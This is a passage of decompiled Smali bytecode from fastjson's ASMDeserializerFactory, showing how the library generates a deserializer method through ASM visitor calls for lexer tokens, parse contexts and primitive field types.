                                                17iget-object v4, v3, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                19iget-object v3, v3, Lcom/alibaba/fastjson/util/FieldInfo;->fieldType:Ljava/lang/reflect/Type;
                                                21sget-object v5, Ljava/lang/Character;->TYPE:Ljava/lang/Class;
                                                22if-ne v4, v5, :cond_20
                                                23return-void
                                                24cond_20: const-class v5, Ljava/util/Collection;
                                                26invoke-virtual {v5, v4}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                27move-result v4
                                                28if-eqz v4, :cond_3a
                                                29instance-of v4, v3, Ljava/lang/reflect/ParameterizedType;
                                                30if-eqz v4, :cond_39
                                                31check-cast v3, Ljava/lang/reflect/ParameterizedType;
                                                33invoke-interface {v3}, Ljava/lang/reflect/ParameterizedType;->getActualTypeArguments()[Ljava/lang/reflect/Type;
                                                34move-result-object v3
                                                35aget-object v3, v3, v10
                                                36instance-of v3, v3, Ljava/lang/Class;
                                                37if-eqz v3, :cond_39
                                                38goto/16 :goto_3a
                                                39cond_39: return-void
                                                40cond_3a: add-int/lit8 v2, v2, 0x1
                                                41goto/16 :goto_13
                                                42cond_3d:
                                                43invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$000(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                44move-result-object v0
                                                46iget-object v1, v0, Lcom/alibaba/fastjson/util/JavaBeanInfo;->sortedFields:[Lcom/alibaba/fastjson/util/FieldInfo;
                                                48invoke-static {v9, v1}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$202(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;[Lcom/alibaba/fastjson/util/FieldInfo;)[Lcom/alibaba/fastjson/util/FieldInfo;
                                                49new-instance v7, Lcom/alibaba/fastjson/asm/MethodWriter;
                                                50const/4 v13, 0x1
                                                51new-instance v1, Ljava/lang/StringBuilder;
                                                53invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                55const-string v2, "(L"
                                                57invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                59sget-object v2, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                61invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                63const-string v2, ";Ljava/lang/reflect/Type;Ljava/lang/Object;I)Ljava/lang/Object;"
                                                65invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                67invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                68move-result-object v15
                                                69const/16 v16, 0x0
                                                70const/16 v17, 0x0
                                                72const-string v14, "deserialze"
                                                73move-object v11, v7
                                                74move-object/from16 v12, p1
                                                76invoke-direct/range {v11 .. v17}, Lcom/alibaba/fastjson/asm/MethodWriter;-><init>(Lcom/alibaba/fastjson/asm/ClassWriter;ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V
                                                77new-instance v11, Lcom/alibaba/fastjson/asm/Label;
                                                79invoke-direct {v11}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                80new-instance v12, Lcom/alibaba/fastjson/asm/Label;
                                                82invoke-direct {v12}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                83new-instance v13, Lcom/alibaba/fastjson/asm/Label;
                                                85invoke-direct {v13}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                86new-instance v14, Lcom/alibaba/fastjson/asm/Label;
                                                88invoke-direct {v14}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                90invoke-direct {v8, v9, v7}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->defineVarLexer(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;)V
                                                91new-instance v1, Lcom/alibaba/fastjson/asm/Label;
                                                93invoke-direct {v1}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                95const-string v15, "lexer"
                                                97invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                98move-result v2
                                                99const/16 v6, 0x19
                                                101invoke-interface {v7, v6, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                103sget-object v2, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                104const/16 v5, 0xb6
                                                106const-string v3, "token"
                                                108const-string v4, "()I"
                                                110invoke-interface {v7, v5, v2, v3, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                111const/16 v2, 0xe
                                                113invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                114move-result-object v2
                                                116invoke-interface {v7, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                117const/16 v2, 0xa0
                                                119invoke-interface {v7, v2, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                120iget v0, v0, Lcom/alibaba/fastjson/util/JavaBeanInfo;->parserFeatures:I
                                                122sget-object v2, Lcom/alibaba/fastjson/parser/Feature;->SupportArrayToBean:Lcom/alibaba/fastjson/parser/Feature;
                                                123iget v2, v2, Lcom/alibaba/fastjson/parser/Feature;->mask:I
                                                124and-int/2addr v0, v2
                                                125const/4 v4, 0x4
                                                126if-nez v0, :cond_dc
                                                128invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                129move-result v0
                                                131invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                132const/16 v0, 0x15
                                                134invoke-interface {v7, v0, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                136sget-object v0, Lcom/alibaba/fastjson/parser/Feature;->SupportArrayToBean:Lcom/alibaba/fastjson/parser/Feature;
                                                137iget v0, v0, Lcom/alibaba/fastjson/parser/Feature;->mask:I
                                                139invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                140move-result-object v0
                                                142invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                144sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                146const-string v2, "isEnabled"
                                                148const-string v3, "(II)Z"
                                                150invoke-interface {v7, v5, v0, v2, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                151const/16 v0, 0x99
                                                153invoke-interface {v7, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                154cond_dc:
                                                155invoke-interface {v7, v6, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                156const/4 v3, 0x1
                                                158invoke-interface {v7, v6, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                159const/4 v2, 0x2
                                                161invoke-interface {v7, v6, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                162const/4 v0, 0x3
                                                164invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                166invoke-interface {v7, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                167const/16 v10, 0xb7
                                                169invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$300(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/String;
                                                170move-result-object v2
                                                171new-instance v4, Ljava/lang/StringBuilder;
                                                173invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                175const-string v0, "(L"
                                                177invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                179sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                181invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                183const-string v0, ";Ljava/lang/reflect/Type;Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;"
                                                185invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                187invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                188move-result-object v0
                                                190const-string v4, "deserialzeArrayMapping"
                                                192invoke-interface {v7, v10, v2, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                193const/16 v0, 0xb0
                                                195invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                197invoke-interface {v7, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                199invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                200move-result v0
                                                202invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                204sget-object v0, Lcom/alibaba/fastjson/parser/Feature;->SortFeidFastMatch:Lcom/alibaba/fastjson/parser/Feature;
                                                205iget v0, v0, Lcom/alibaba/fastjson/parser/Feature;->mask:I
                                                207invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                208move-result-object v0
                                                210invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                212sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                214const-string v1, "isEnabled"
                                                216const-string v2, "(I)Z"
                                                218invoke-interface {v7, v5, v0, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                219const/16 v0, 0x99
                                                221invoke-interface {v7, v0, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                223invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                224move-result v0
                                                226invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                228invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$400(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/Class;
                                                229move-result-object v0
                                                231invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                232move-result-object v0
                                                234invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                236sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                238const-string v1, "scanType"
                                                240const-string v2, "(Ljava/lang/String;)I"
                                                242invoke-interface {v7, v5, v0, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                243const/4 v0, -0x1
                                                245invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                246move-result-object v0
                                                248invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                249const/16 v0, 0x9f
                                                251invoke-interface {v7, v0, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                253invoke-interface {v7, v6, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                255sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                256new-instance v1, Ljava/lang/StringBuilder;
                                                258invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                260const-string v2, "()"
                                                262invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                263const-class v2, Lcom/alibaba/fastjson/parser/ParseContext;
                                                265invoke-static {v2}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                266move-result-object v2
                                                268invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                270invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                271move-result-object v1
                                                273const-string v2, "getContext"
                                                275invoke-interface {v7, v5, v0, v2, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                277const-string v0, "mark_context"
                                                279invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                280move-result v0
                                                281const/16 v10, 0x3a
                                                283invoke-interface {v7, v10, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                284const/4 v0, 0x3
                                                286invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                288const-string v0, "matchedCount"
                                                290invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                291move-result v0
                                                292const/16 v4, 0x36
                                                294invoke-interface {v7, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                296invoke-direct {v8, v9, v7}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_createInstance(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;)V
                                                298invoke-interface {v7, v6, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                300sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                301new-instance v1, Ljava/lang/StringBuilder;
                                                303invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                305const-string v2, "()"
                                                307invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                308const-class v2, Lcom/alibaba/fastjson/parser/ParseContext;
                                                310invoke-static {v2}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                311move-result-object v2
                                                313invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                315invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                316move-result-object v1
                                                318const-string v2, "getContext"
                                                320invoke-interface {v7, v5, v0, v2, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                322const-string v0, "context"
                                                324invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                325move-result v0
                                                327invoke-interface {v7, v10, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                329invoke-interface {v7, v6, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                331const-string v0, "context"
                                                333invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                334move-result v0
                                                336invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                338const-string v0, "instance"
                                                340invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                341move-result v0
                                                343invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                344const/4 v0, 0x3
                                                346invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                348sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                349new-instance v1, Ljava/lang/StringBuilder;
                                                351invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                353const-string v2, "("
                                                355invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                356const-class v2, Lcom/alibaba/fastjson/parser/ParseContext;
                                                358invoke-static {v2}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                359move-result-object v2
                                                361invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                363const-string v2, "Ljava/lang/Object;Ljava/lang/Object;)"
                                                365invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                366const-class v2, Lcom/alibaba/fastjson/parser/ParseContext;
                                                368invoke-static {v2}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                369move-result-object v2
                                                371invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                373invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                374move-result-object v1
                                                376const-string v2, "setContext"
                                                378invoke-interface {v7, v5, v0, v2, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                380const-string v0, "childContext"
                                                382invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                383move-result v0
                                                385invoke-interface {v7, v10, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                387invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                388move-result v0
                                                390invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                392sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                394const-string v2, "matchStat"
                                                395const/16 v1, 0xb4
                                                397const-string v10, "I"
                                                399invoke-interface {v7, v1, v0, v2, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                400const/4 v0, 0x4
                                                402invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                403move-result-object v10
                                                405invoke-interface {v7, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                406const/16 v0, 0x9f
                                                408invoke-interface {v7, v0, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                409const/4 v0, 0x3
                                                411invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                413invoke-virtual {v9, v2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                414move-result v10
                                                416invoke-interface {v7, v4, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitIntInsn(II)V
                                                418invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$200(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)[Lcom/alibaba/fastjson/util/FieldInfo;
                                                419move-result-object v10
                                                420array-length v10, v10
                                                421const/4 v1, 0x0
                                                422goto_247: if-ge v1, v10, :cond_26b
                                                424invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                425new-instance v0, Ljava/lang/StringBuilder;
                                                427invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                429const-string v3, "_asm_flag_"
                                                431invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                432div-int/lit8 v3, v1, 0x20
                                                434invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                436invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                437move-result-object v0
                                                439invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                440move-result v0
                                                442invoke-interface {v7, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                443add-int/lit8 v1, v1, 0x20
                                                444const/4 v0, 0x3
                                                445const/4 v3, 0x1
                                                446goto/16 :goto_247
                                                447cond_26b:
                                                448invoke-virtual {v9, v15}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                449move-result v0
                                                451invoke-interface {v7, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                453sget-object v0, Lcom/alibaba/fastjson/parser/Feature;->InitStringFieldAsEmpty:Lcom/alibaba/fastjson/parser/Feature;
                                                454iget v0, v0, Lcom/alibaba/fastjson/parser/Feature;->mask:I
                                                456invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                457move-result-object v0
                                                459invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                461sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                463const-string v1, "isEnabled"
                                                465const-string v3, "(I)Z"
                                                467invoke-interface {v7, v5, v0, v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                469const-string v0, "initStringFieldAsEmpty"
                                                471invoke-virtual {v9, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                472move-result v0
                                                474invoke-interface {v7, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitIntInsn(II)V
                                                475const/4 v0, 0x0
                                                476goto_290:
                                                477const-string v3, "_asm"
                                                478if-ge v0, v10, :cond_3dc
                                                480invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$200(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)[Lcom/alibaba/fastjson/util/FieldInfo;
                                                481move-result-object v1
                                                482aget-object v1, v1, v0
                                                484iget-object v4, v1, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                486sget-object v5, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                487if-eq v4, v5, :cond_3a4
                                                489sget-object v5, Ljava/lang/Byte;->TYPE:Ljava/lang/Class;
                                                490if-eq v4, v5, :cond_3a4
                                                492sget-object v5, Ljava/lang/Short;->TYPE:Ljava/lang/Class;
                                                493if-eq v4, v5, :cond_3a4
                                                495sget-object v5, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                496if-ne v4, v5, :cond_2ae
                                                497goto/16 :goto_3a4
                                                498cond_2ae:
                                                499sget-object v5, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
                                                500if-ne v4, v5, :cond_2dd
                                                501const/16 v4, 0x9
                                                503invoke-interface {v7, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                504const/16 v4, 0x37
                                                505new-instance v5, Ljava/lang/StringBuilder;
                                                507invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                509iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                511invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                513invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                515invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                516move-result-object v1
                                                517const/4 v3, 0x2
                                                519invoke-virtual {v9, v1, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;I)I
                                                520move-result v1
                                                522invoke-interface {v7, v4, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                523goto_2d2: move-object/from16 v26, v11
                                                524move-object/from16 v23, v12
                                                525move-object/from16 v24, v13
                                                526move-object/from16 v25, v14
                                                527goto_2da: const/4 v4, 0x3
                                                528goto/16 :goto_3ca
                                                529cond_2dd:
                                                530sget-object v5, Ljava/lang/Float;->TYPE:Ljava/lang/Class;
                                                531if-ne v4, v5, :cond_301
                                                532const/16 v4, 0xb
                                                534invoke-interface {v7, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                535const/16 v4, 0x38
                                                536new-instance v5, Ljava/lang/StringBuilder;
                                                538invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                540iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                542invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                544invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                546invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                547move-result-object v1
                                                549invoke-virtual {v9, v1}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                550move-result v1
                                                552invoke-interface {v7, v4, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                553goto/16 :goto_2d2
                                                554cond_301:
                                                555sget-object v5, Ljava/lang/Double;->TYPE:Ljava/lang/Class;
                                                556if-ne v4, v5, :cond_326
                                                557const/16 v4, 0xe
                                                559invoke-interface {v7, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                560const/16 v4, 0x39
                                                561new-instance v5, Ljava/lang/StringBuilder;
                                                563invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                565iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                567invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                569invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                571invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                572move-result-object v1
                                                573const/4 v3, 0x2
                                                575invoke-virtual {v9, v1, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;I)I
                                                576move-result v1
                                                578invoke-interface {v7, v4, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                579goto/16 :goto_2d2
                                                580cond_326: const-class v5, Ljava/lang/String;
                                                581if-ne v4, v5, :cond_373
                                                582new-instance v5, Lcom/alibaba/fastjson/asm/Label;
                                                584invoke-direct {v5}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                585new-instance v6, Lcom/alibaba/fastjson/asm/Label;
                                                587invoke-direct {v6}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                588move-object/from16 v23, v12
                                                589const/16 v12, 0x15
                                                590move-object/from16 v24, v13
